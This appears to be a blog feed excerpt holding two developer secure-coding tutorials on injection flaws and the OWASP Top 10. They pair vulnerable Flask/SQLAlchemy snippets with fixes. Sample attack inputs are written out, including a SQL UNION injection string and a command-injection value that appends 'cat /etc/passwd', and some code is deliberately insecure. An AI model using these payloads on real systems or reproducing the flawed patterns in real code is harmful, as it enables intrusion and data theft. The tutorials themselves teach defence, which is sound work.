&lt;p&gt;ORMs (SQLAlchemy, Hibernate, Entity Framework) protect you if you use them correctly. But as soon as you write raw SQL or use unsafe methods, you’re back to square one.&lt;/p&gt;

&lt;p&gt;Vulnerable SQLAlchemy (Python)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sqlalchemy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/search&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;keyword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM products WHERE name LIKE &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Ouch — raw string concatenation inside text()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker: ?q=' OR '1'='1' UNION SELECT ...&lt;/p&gt;

&lt;p&gt;Fix — Use ORM Parameters or Bind Variables&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Method 1: ORM safe filtering
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;sqlalchemy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;or_&lt;/span&gt;
&lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ilike&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Method 2: If you must use raw SQL, use bind params
&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM products WHERE name LIKE :kw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;%&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rule: Never use text() with f‑strings or string concatenation. Always pass parameters as a dict or tuple.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: SQLAlchemy’s own logging — watch for generated queries with suspicious input.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Command Injection — Full Server Takeover
&lt;/h2&gt;

&lt;p&gt;When your app calls operating system commands with user input, the attacker can run any command.&lt;br&gt;
Vulnerable (Python)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/ping&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping -c 4 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker: ?ip=8.8.8.8; cat /etc/passwd&lt;br&gt;
Fix — Use Native APIs, Avoid Shell=True&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/ping&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Allowlist allowed characters
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;^[\d\.]+$&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Use list form + no shell
&lt;/span&gt;    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;check_output&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even better: Don’t call system commands at all — use native network libraries (e.g., ping3 for Python).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: Commix — automated command injection.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Injection Prevention — A Unified Checklist
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Injection Type&lt;/th&gt;
&lt;th&gt;Prevention Strategy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Parameterized queries / prepared statements (never concatenation).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NoSQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Validate input types, reject operator keys (&lt;code&gt;$&lt;/code&gt;), use schema validation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ORM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Avoid raw SQL; use ORM’s safe methods; parameterize any &lt;code&gt;text()&lt;/code&gt; call.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use native APIs, avoid &lt;code&gt;shell=True&lt;/code&gt;, allowlist inputs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LDAP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Escape special characters (&lt;code&gt;*&lt;/code&gt;, &lt;code&gt;(&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XML/XPath&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Disable external entities, use hard‑coded XPaths.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Universal Rules
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Treat all user input as dangerous.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use allowlists&lt;/strong&gt; (e.g., &lt;code&gt;re.match(r'^[a-z0-9]+$', input)&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer safe APIs&lt;/strong&gt; — ORMs, parameterised queries, native libraries.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never trust “I don’t use SQL”&lt;/strong&gt; — injection is about &lt;em&gt;interpreters&lt;/em&gt;, not just SQL.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Tools to Find Injection Flaws Automatically
&lt;/h2&gt;

&lt;p&gt;Run these before an attacker does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;sqlmap&lt;/strong&gt; — SQL injection detection &amp;amp; exploitation.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NoSQLMap&lt;/strong&gt; — NoSQL injection (MongoDB, CouchDB).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commix&lt;/strong&gt; — Command injection.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Burp Suite Scanner&lt;/strong&gt; — All kinds of injection (paid but worth it).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP ZAP&lt;/strong&gt; — Free, includes injection tests.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Semgrep&lt;/strong&gt; or &lt;strong&gt;CodeQL&lt;/strong&gt; — Find injection patterns in your source code.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Hands‑On Practice (Don’t Just Read)
&lt;/h2&gt;

&lt;p&gt;You learn injection by doing it (safely).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://portswigger.net/web-security/nosql-injection" rel="noopener noreferrer"&gt;PortSwigger NoSQL injection labs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://owasp.org/www-project-juice-shop/" rel="noopener noreferrer"&gt;OWASP Juice Shop&lt;/a&gt; — has both SQL and NoSQL challenges.
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://tryhackme.com/room/injection" rel="noopener noreferrer"&gt;TryHackMe – Injection room&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Remember my sandbox advice from last article:&lt;/strong&gt; Run all vulnerable apps inside isolated VMs or Docker containers. Even your own testing can go wrong.&lt;/p&gt;




&lt;h2&gt;
  
  
  Want More?
&lt;/h2&gt;

&lt;p&gt;If you enjoyed this deep dive into injection attacks, check out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi"&gt;OWASP Top 10 for Developers (2026 Edition)&lt;/a&gt; — full list with fixes.
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30"&gt;What Is a Sandbox? How to Safely Run Any Unknown .exe&lt;/a&gt; — dynamic malware analysis.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fynkx482sihl7viur6p97.jpeg" alt="Mahdi Shamlou" width="800" height="1067"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;br&gt;
📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;br&gt;
📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/em&gt;&lt;/p&gt;

</description>
      <category>sql</category>
      <category>nosql</category>
      <category>security</category>
      <category>injection</category>
    </item>
    <item>
      <title>OWASP Top 10 for Developers (2026 Edition) — How to Actually Fix the Most Dangerous Web Vulnerabilities</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sun, 10 May 2026 09:27:12 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi</link>
      <guid>https://dev.to/mahdi0shamlou/owasp-top-10-for-developers-2026-edition-how-to-actually-fix-the-most-dangerous-web-11pi</guid>
      <description>&lt;p&gt;Hi, &lt;a href="https://dev.to/mahdi0shamlou"&gt;Mahdi Shamlou&lt;/a&gt; here. In my last article (&lt;a href="https://dev.to/mahdi0shamlou/what-is-a-sandbox-how-to-safely-run-and-analyze-any-unknown-exe-2m30"&gt;What Is a Sandbox? How to Safely Run and Analyze Any Unknown .exe&lt;/a&gt;), you learned how to safely detonate an unknown .exe in a sandbox. That’s reactive security — analyzing malware after it exists.&lt;/p&gt;

&lt;p&gt;But what if you could prevent most attacks before they ever reach your server? That’s where OWASP comes in.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3shrnwqybphv9h48frui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3shrnwqybphv9h48frui.png" alt="Mahdi Shamlou" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this guide, I’ll walk you through the OWASP Top 10 for 2026 — but not as a boring list. I’ll show you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    What each vulnerability actually means for your code.&lt;/li&gt;
&lt;li&gt;    A real vulnerable code snippet (and how to fix it).&lt;/li&gt;
&lt;li&gt;    Which tools you can use to find these bugs automatically.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By the end, you’ll have a security checklist you can apply to your next web app.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is OWASP? (And Why You, as a Developer, Should Care)
&lt;/h2&gt;

&lt;p&gt;OWASP = Open Web Application Security Project. It’s a non‑profit community that produces free, world‑class security guidance.&lt;/p&gt;

&lt;p&gt;The most famous is the OWASP Top 10 — a ranked list of the most critical web security risks. It’s updated every few years to reflect real‑world attack data. The 2026 edition (which builds on the 2021 version) remains the must‑know list for any web developer.&lt;/p&gt;

&lt;p&gt;Why should you care? Because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    75% of web apps have at least one Top 10 vulnerability.&lt;/li&gt;
&lt;li&gt;    Fixing a bug in production costs 30x more than catching it in coding.&lt;/li&gt;
&lt;li&gt;    Security is now a shared responsibility — developers can’t just throw code over the wall to a “security team”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So let’s dive in. I’ll present each risk, show you a bad code example, and then give you the secure version.&lt;/p&gt;




&lt;h2&gt;
  
  
  A01: Broken Access Control
&lt;/h2&gt;

&lt;p&gt;What it is: Users can see or edit data they’re not supposed to. For example, a normal user changing their ?user_id=123 to ?user_id=124 and seeing someone else’s profile.&lt;/p&gt;

&lt;p&gt;Vulnerable code (Flask):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/profile&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# No check if logged-in user owns this ID
&lt;/span&gt;    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;profile.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — enforce server‑side access control:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/profile&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@login_required&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# Only allow access to the currently logged-in user's own profile
&lt;/span&gt;    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;   &lt;span class="c1"&gt;# from session, not from request
&lt;/span&gt;    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;profile.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tool to catch this: OWASP ZAP or Burp Suite — try changing ID parameters manually.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A02: Cryptographic Failures
&lt;/h2&gt;

&lt;p&gt;What it is: Sensitive data (passwords, credit cards) transmitted or stored without proper encryption. That includes using old algorithms like MD5 or SHA‑1.&lt;/p&gt;

&lt;p&gt;Vulnerable code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Storing password in plain text? Ouch.
&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

